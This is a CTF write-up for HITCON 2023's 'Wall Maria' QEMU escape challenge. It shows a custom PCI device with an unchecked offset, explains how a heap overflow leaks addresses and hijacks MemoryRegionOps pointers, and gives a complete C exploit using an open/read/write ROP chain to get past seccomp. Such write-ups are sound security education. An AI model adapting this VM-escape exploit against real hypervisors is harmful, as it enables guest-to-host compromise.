[CTF write up] HITCON CTF 2023 qual - Full Chain - Wall Maria : VM escape on Qemu with Sandbox option enabled

2023. 9. 12. 02:07CTF write up

 

#include "hw/hw.h"
#include "hw/pci/msi.h"
#include "hw/pci/pci.h"
#include "qapi/visitor.h"
#include "qemu/main-loop.h"
#include "qemu/module.h"
#include "qemu/osdep.h"
#include "qom/object.h"

#define TYPE_PCI_MARIA_DEVICE "maria"
#define MARIA_MMIO_SIZE 0x10000

#define BUFF_SIZE 0x2000

typedef struct {
    PCIDevice pdev;
    struct {
		uint64_t src;
        uint8_t off;
	} state;
    char buff[BUFF_SIZE];
    MemoryRegion mmio;
} MariaState;

DECLARE_INSTANCE_CHECKER(MariaState, MARIA, TYPE_PCI_MARIA_DEVICE)

static uint64_t maria_mmio_read(void *opaque, hwaddr addr, unsigned size) {
    MariaState *maria = (MariaState *)opaque;
    uint64_t val = 0;
    switch (addr) {
        case 0x00:
            cpu_physical_memory_rw(maria->state.src, &maria->buff[maria->state.off], BUFF_SIZE, 1);
            val = 0x600DC0DE;
            break;
        case 0x04:
            val = maria->state.src;
            break;
        case 0x08:
            val = maria->state.off;
            break;
        default:
            val = 0xDEADC0DE;
            break;
    }
    return val;
}

static void maria_mmio_write(void *opaque, hwaddr addr, uint64_t val, unsigned size) {
    MariaState *maria = (MariaState *)opaque;
    switch (addr) {
        case 0x00:
            cpu_physical_memory_rw(maria->state.src, &maria->buff[maria->state.off], BUFF_SIZE, 0);
            break;
        case 0x04:
            maria->state.src = val;
            break;
        case 0x08:
            maria->state.off = val;
            break;
        default:
            break;
    }
}

static const MemoryRegionOps maria_mmio_ops = {
    .read = maria_mmio_read,
    .write = maria_mmio_write,
    .endianness = DEVICE_NATIVE_ENDIAN,
    .valid = {
        .min_access_size = 4,
        .max_access_size = 4,
    },
    .impl = {
        .min_access_size = 4,
        .max_access_size = 4,
    },
};

static void pci_maria_realize(PCIDevice *pdev, Error **errp) {
    MariaState *maria = MARIA(pdev);
    memory_region_init_io(&maria->mmio, OBJECT(maria), &maria_mmio_ops, maria, "maria-mmio", MARIA_MMIO_SIZE);
    pci_register_bar(pdev, 0, PCI_BASE_ADDRESS_SPACE_MEMORY, &maria->mmio);
}

static void maria_instance_init(Object *obj) {
    MariaState *maria = MARIA(obj);
    memset(&maria->state, 0, sizeof(maria->state));
    memset(maria->buff, 0, sizeof(maria->buff));
}

static void maria_class_init(ObjectClass *class, void *data) {
    DeviceClass *dc = DEVICE_CLASS(class);
    PCIDeviceClass *k = PCI_DEVICE_CLASS(class);

    k->realize = pci_maria_realize;
    k->vendor_id = PCI_VENDOR_ID_QEMU;
    k->device_id = 0xDEAD;
    k->revision = 0x0;
    k->class_id = PCI_CLASS_OTHERS;

    set_bit(DEVICE_CATEGORY_MISC, dc->categories);
}

static void pci_maria_register_types(void) {
    static InterfaceInfo interfaces[] = {
        { INTERFACE_CONVENTIONAL_PCI_DEVICE },
        { },
    };
    static const TypeInfo maria_info = {
        .name = TYPE_PCI_MARIA_DEVICE,
        .parent = TYPE_PCI_DEVICE,
        .instance_size = sizeof(MariaState),
        .instance_init = maria_instance_init,
        .class_init = maria_class_init,
        .interfaces = interfaces,
    };

    type_register_static(&maria_info);
}

type_init(pci_maria_register_types)

다음은 Full Chain - Wall Maria의 Custom Device 코드이다. 취약점은 간단한데,  maria->state.off = val에 대한 경계검사를 하지 않아서 Qemu 바이너리에서의 Heap Overflow가 발생한다.

The following is Full Chain - Wall Maria's Custom Device code. The vulnerability is simple, but a heap overflow occurs in the Qemu binary because the boundary check for maria->state.off = val is not performed.

 

#!/bin/bash

./qemu-system-x86_64 \
    -L ./bios \
    -kernel ./bzImage \
    -initrd ./initramfs_updated.cpio.gz \
    -cpu kvm64,+smep,+smap \
    -monitor none \
    -m 1024M \
    -append "console=ttyS0 oops=panic panic=1 quiet" \
    -monitor /dev/null \
    -nographic \
    -no-reboot \
    -net user -net nic -device e1000 \
    -device maria \
    -sandbox on,obsolete=deny,elevateprivileges=deny,spawn=deny,resourcecontrol=deny

특이한 점은 위와 같이 Sandbox 옵션이 활성화되어있다. 이 경우 Seccomp Filter에 의해서 Execve와 같은 system call이 막히기 때문에, 익스플로잇하기 위해서는 ORW(Open/Read/Write)를 이용해야한다.

What is unusual is that the Sandbox option is activated as shown above. In this case, because system calls such as Execve are blocked by the Seccomp Filter, ORW (Open/Read/Write) must be used to exploit.

 

Qemu의 Custom Device와 MMIO로 통신하기 위한 방법은 https://scavengersecurity.com/posts/hack.lu-cloudinspect/ 같은 글에 잘 나와있다.

Methods for communicating with Qemu's Custom Device through MMIO are well described in articles such as https://scavengersecurity.com/posts/hack.lu-cloudinspect/.

 

maria_mmio_ops

일단 Qemu 바이너리에서 발생하는 Heap Overflow를 이용해 Control flow를 조작하려면 MemoryRegionOps 구조체를 이용하면 된다. 해당 구조체의 멤버변수를 보면 .read / .write가 있고 해당 변수에는 maria_mmio_read, maria_mmio_write 함수 포인터가 있다. 즉, Qemu는 cpu_physical_memory_rw 함수로 Physical Memory Read / Write를 할때 해당 멤버 변수를 참조하여 maria_mmio_read / maria_mmio_write 함수를 실행한다. 해당 구조체는 MriaState->buff의 바로 위에 위치해있기 때문에 Overflow Read / Write 취약점을 통해서 메모리 주소를 유출하고 .read / .write 멤버 변수를 덮어서 RIP를 조작할 수 있다.

First, to manipulate the control flow using the Heap Overflow that occurs in the Qemu binary, you can use the MemoryRegionOps structure. If you look at the member variables of the structure, there are .read / .write, and the variables include maria_mmio_read and maria_mmio_write function pointers. In other words, when Qemu reads / writes physical memory with the cpu_physical_memory_rw function, it executes the maria_mmio_read / maria_mmio_write functions by referring to the corresponding member variable. Because the structure is located right above MriaState->buff, the RIP can be manipulated by leaking the memory address through an overflow read/write vulnerability and overwriting the .read/.write member variables.

 

ROPgadget

문제는 Seccomp Filter를 우회하기 위해서 ORW를 해야하는데, 이 경우 흐름을 이어가기 위해 Shellcode나 ROP를 이용해야한다. 다행히, xchg rbp, rax 라는 좋은 가젯이 있다. MemoryRegionOps 구조체를 잘 조작하면 rax 레지스터 값 역시 원하는대로 설정할 수 있기 때문에, ROP Chain을 써둔 Heap 메모리로 Stack Pivoting을 할 수 있다. 마지막으로 RET에 도달하기 전에 프로그램이 종료되지 않도록 MemoryRegionOps를 잘 수정해두면 된다. 최종 익스플로잇은 아래와 같다.

The problem is that in order to bypass the Seccomp Filter, ORW must be performed, and in this case, shellcode or ROP must be used to continue the flow. Fortunately, there are some nice gadgets called xchg rbp and rax. If you manipulate the MemoryRegionOps structure well, you can set the rax register value as you want, so you can do stack pivoting with the heap memory where ROP Chain is written. Lastly, you can modify MemoryRegionOps carefully so that the program does not terminate before reaching RET. The final exploit is as follows.

 

 

#include <stdint.h>
#include <sys/mman.h>
#include <stddef.h>
#include <assert.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <err.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

#define DEV_ADDR 0xfebd0000
#define MAP_SIZE 0xfffff

#define PATH "/sys/devices/pci0000:00/0000:00:05.0/resource0"


typedef uint64_t u64;
typedef uint32_t u32;
typedef uint8_t u8;

u32 mmio_read(volatile void* mem, int offset) {
  return *(u32*)((uintptr_t)mem+offset);
}

void mmio_write64(volatile void* mem, int offset, uint64_t val) {
  *(u64*)((uintptr_t)mem+offset) = val;
}
void mmio_write(volatile void* mem, int offset, uint32_t val) {
  *(u32*)((uintptr_t)mem+offset) = val;
}
void mmio_write8(volatile void* mem, int offset, uint8_t val) {
  *(u8*)((uintptr_t)mem+offset) = val;
}

volatile void* map_buf(u64 size) {
  volatile void* out;

  out = mmap(NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
  if (out == MAP_FAILED)
    err(EXIT_FAILURE, "mmap");
  memset((void*)out, 0, 0x1000);

  return out;
}

u64 virt2phys(volatile void* p) {
  int fd;
  u64 offset;
  u64 virt = (u64)p;
  u64 phys;

  // Assert page alignment
  //printf("virt: %p\n",p);
  assert((virt & 0xfff) == 0);

  fd = open("/proc/self/pagemap", O_RDONLY);
  if (fd == -1)
    err(EXIT_FAILURE, "open");

  offset = (virt / 0x1000) * 8;
  lseek(fd, offset, SEEK_SET);

  if (read(fd, &phys, 8) != 8)
    err(EXIT_FAILURE, "read");
  close(fd);

  // Assert page present
  assert(phys & (1ULL << 63));

  phys = (phys & ((1ULL << 54) - 1)) * 0x1000;
  //printf("[+] virt2phys : %p -> 0x%lu\n",p, phys);
  return phys;
}

int main() {
  int fd;
  volatile void* mem;
  u32 val;

  int fd1 = open(PATH, O_RDWR | O_SYNC);
    if (-1 == fd1) {
            fprintf(stderr, "Cannot open %s\n", PATH);
            return -1;
    }
    
    mem = mmap(0, 0x2000, PROT_READ | PROT_WRITE, MAP_SHARED, fd1, 0); // map resource0
    printf("iomem @ %p\n", mem);

    mmio_write(mem, 0x8, 0xf0);
    printf("[+] mmio_write : off = 0x%x\n", 0xf0);
    
    char **map_ptrs[0x100] = {NULL};
    for (size_t i = 0; i < 0x100; i ++) {
      map_ptrs[i] = map_buf(0x1000);
    }
    char *buf = NULL;
    char *bufb = NULL;
    for (size_t i = 0; i < 0x100; i++) {
      for (size_t j = i; j < 0x100; j++) {
        if ((size_t)virt2phys(map_ptrs[j]) == (size_t)virt2phys(map_ptrs[i]) + 0x1000) {
          buf = map_ptrs[i];
          bufb = map_ptrs[j];
        }
        if (buf != NULL) {
          break;
        }
      }
      if (buf != NULL) {
          break;
      }
    }
    u64 phys_buf = virt2phys(buf);
    mmio_write(mem, 0x4, phys_buf);
    printf("[+] mmio_write : src = 0x%lx (phys_buf)\n", phys_buf);

    mmio_read(mem, 0x00);

    u64 maria_mmio_ops = 0;
	memcpy(&maria_mmio_ops, &bufb[0x1000-0xf0+0x48], 8);
	u64 maria_buff = 0;
	memcpy(&maria_buff, &bufb[0x1000-0xf0+0x40], 8);
	maria_buff += 0xb20 - 0xf0;
	printf("[+] maria_mmio_ops = 0x%lx\n", maria_mmio_ops);
	printf("[+] maria_buff = 0x%lx\n", maria_buff);
	u64 gadget_addr = maria_mmio_ops-0xf1ff80+0x00000000009b5e5a;

	
  u64 base = maria_mmio_ops-0xf1ff80;
	u64* p = 0;

  strcpy(buf,"/home/user/flag\x00");
	p = (u64*)&buf[0x100-0xf0];
  *p = gadget_addr;
  
  p = (u64*)&buf[0x200-0xf0-0x28];
  *p = (maria_buff+0x200-0x28);
  p = (u64*)&buf[0x200-0xf0-0x38];
  *p = (maria_buff+0x200-0x30);

  p = (u64*)&buf[0x200-0xf0];
  *p = (0xdeadbeef);

  u64 ROPcount = 8;
  p = (u64*)&buf[0x200-0xf0+ROPcount];
  *p = (base+0x0000000000632c5d); //pop rdi
  ROPcount = ROPcount + 8;
  p = (u64*)&buf[0x200-0xf0+ROPcount];
  *p = (maria_buff+0xf0); //path
  ROPcount = ROPcount + 8;
  p = (u64*)&buf[0x200-0xf0+ROPcount];
  *p = (base+0x30A270); //open
  ROPcount = ROPcount + 8;

  p = (u64*)&buf[0x200-0xf0+ROPcount];
  *p = (base+0x0000000000632c5d); //pop rdi
  ROPcount = ROPcount + 8;
  p = (u64*)&buf[0x200-0xf0+ROPcount];
  *p = (0xa); //fd
  ROPcount = ROPcount + 8;
  p = (u64*)&buf[0x200-0xf0+ROPcount];
  *p = (base+0x00000000004d4db3); //pop rsi
  ROPcount = ROPcount + 8;
  p = (u64*)&buf[0x200-0xf0+ROPcount];
  *p = (maria_buff+0x500); // ptr
  ROPcount = ROPcount + 8;
  p = (u64*)&buf[0x200-0xf0+ROPcount];
  *p = (base+0x000000000047f5c8); //pop rdx
  ROPcount = ROPcount + 8;
  p = (u64*)&buf[0x200-0xf0+ROPcount];
  *p = (0x100); //size
  ROPcount = ROPcount + 8;
  p = (u64*)&buf[0x200-0xf0+ROPcount];
  *p = (base+0x30D460); //read
  ROPcount = ROPcount + 8;

  p = (u64*)&buf[0x200-0xf0+ROPcount];
  *p = (base+0x0000000000632c5d); //pop rdi
  ROPcount = ROPcount + 8;
  p = (u64*)&buf[0x200-0xf0+ROPcount];
  *p = (0x1); //fd
  ROPcount = ROPcount + 8;
  p = (u64*)&buf[0x200-0xf0+ROPcount];
  *p = (base+0x00000000004d4db3); //pop rsi
  ROPcount = ROPcount + 8;
  p = (u64*)&buf[0x200-0xf0+ROPcount];
  *p = (maria_buff+0x500); // ptr
  ROPcount = ROPcount + 8;
  p = (u64*)&buf[0x200-0xf0+ROPcount];
  *p = (base+0x000000000047f5c8); //pop rdx
  ROPcount = ROPcount + 8;
  p = (u64*)&buf[0x200-0xf0+ROPcount];
  *p = (0x100); //size
  ROPcount = ROPcount + 8;
  p = (u64*)&buf[0x200-0xf0+ROPcount];
  *p = (base+0x30DC70); //write
  ROPcount = ROPcount + 8;

	p = (u64*)&bufb[0x1000-0xf0+0x48];
  *p = (maria_buff+0x100);

  p = (u64*)&bufb[0x1000-0xf0+0x50];
  *p = (maria_buff+0x200);

	mmio_write(mem, 0x0, 0x0);
	mmio_read(mem, 0x0);

  printf("END\n");

  close(fd);
  return EXIT_SUCCESS;
}